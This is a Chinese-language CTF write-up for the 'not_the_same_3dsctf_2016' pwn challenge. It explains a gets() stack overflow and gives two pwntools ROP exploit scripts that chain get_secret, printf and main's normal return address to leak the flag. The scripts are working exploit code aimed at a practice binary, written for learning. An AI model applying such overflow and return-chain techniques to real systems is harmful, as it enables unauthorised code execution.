解题
checksec
先checksec一下,发现没有开canary方便了栈溢出,PIE也没开
反编译
IDA反编译
main函数
get_secret函数
分析利用
程序先进入main函数,有一个gets(无限长度的栈溢出)
get_secret函数是将flag.txt读入bss段中,并没有做输出的操作
思路:,在main函数中修改main函数的返回地址,返回到get_secret函数中,读取flag,再返回到mian函数中(第二次进入main函数),修改返回地址为printf的地址,传入flag地址。
但这是会发现,程序没有关掉输入输出缓冲区,故需要程序正常退出才能打印输出。
故,构造printf返回地址为main函数(第三次进入main函数),修改main函数返回地址为,原正常程序的返回地址
实践
from pwn import *
context.log_level='debug'
r = process('./not_the_same_3dsctf_2016')
# r = gdb.debug('./not_the_same_3dsctf_2016', 'break main')
# r = remote('node3.buuoj.cn',00000)
e = ELF('./not_the_same_3dsctf_2016')
getflag = 0x080489A0
maina = 0x080489E0
flag = 0x080ECA2D
p1 = 'a' * 0x2d + p32(getflag) + p32(maina)
r.sendline(p1)
p2 = 'a'*0x2d + p32(e.sym['printf']) + 'aaaa' + p32(flag)
r.sendline(p2)
r.interactive()
没有输出flag
动态调试
函数正常退出的返回地址是0x8048c2e
0xffef2ccc —▸ 0x8048c2e (generic_start_main+542)
故第三次返回mian修改返回地址为0x8048c2e
完整exp
from pwn import *
context.log_level='debug'
r = process('./not_the_same_3dsctf_2016')
# r = gdb.debug('./not_the_same_3dsctf_2016', 'break main')
# r = remote('node3.buuoj.cn',00000)
e = ELF('./not_the_same_3dsctf_2016')
getflag = 0x080489A0
maina = 0x080489E0
flag = 0x080ECA2D
p1 = 'a' * 0x2d + p32(getflag) + p32(maina)
r.sendline(p1)
p2 = 'a'*0x2d + p32(e.sym['printf']) + p32(maina) + p32(flag)
r.sendline(p2)
p3 = 'a'*0x2d + p32(0x8048c2e)
r.sendline(p3)
r.interactive()
获取flag
小结
- 相对于需要修改栈区权限的方法,这个更加简单。
- 三次返回main函数的想法是动态调试一步一步试出来的
- 我是ctf萌新,正在不断学习